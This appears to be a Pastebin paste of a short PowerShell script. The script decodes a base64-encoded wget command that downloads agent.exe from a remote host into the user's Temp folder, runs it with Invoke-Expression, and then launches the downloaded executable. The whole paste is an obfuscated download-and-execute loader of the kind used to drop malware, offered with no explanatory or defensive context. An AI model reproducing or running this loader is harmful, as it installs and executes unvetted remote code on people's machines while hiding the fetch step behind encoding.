Guest User

Untitled

a guest
Mar 20th, 2025
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.69 KB | None | 0 0
  1. $encodedCommand = "d2dldCBodHRwOi8vMTAuMjA4LjI1NC4yMTg6ODAwMC9Eb3dubG9hZHMvYWdlbnQuZXhlIC1PdXRGaWxlIEM6XFVzZXJzXGx1ZmZ5XEFwcERhdGFcTG9jYWxcVGVtcFxhZ2VudC5leGU="
  2. $decodedCommand = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($encodedCommand))
  3. Write-Host "Decoded Command: $decodedCommand"
  4. Invoke-Expression $decodedCommand
  5. $downloadedFilePath = "agent.exe"
  6. Start-Sleep -Seconds 2
  7. if (Test-Path -Path $downloadedFilePath) {
  8. Write-Host "File downloaded successfully. Now attempting to run the file..."
  9.  
  10. # Execute the downloaded .exe file
  11. Start-Process $downloadedFilePath
  12. } else {
  13. Write-Host "The downloaded file does not exist at $downloadedFilePath."
  14. }
  15.  
Add Comment
Please, Sign In to add comment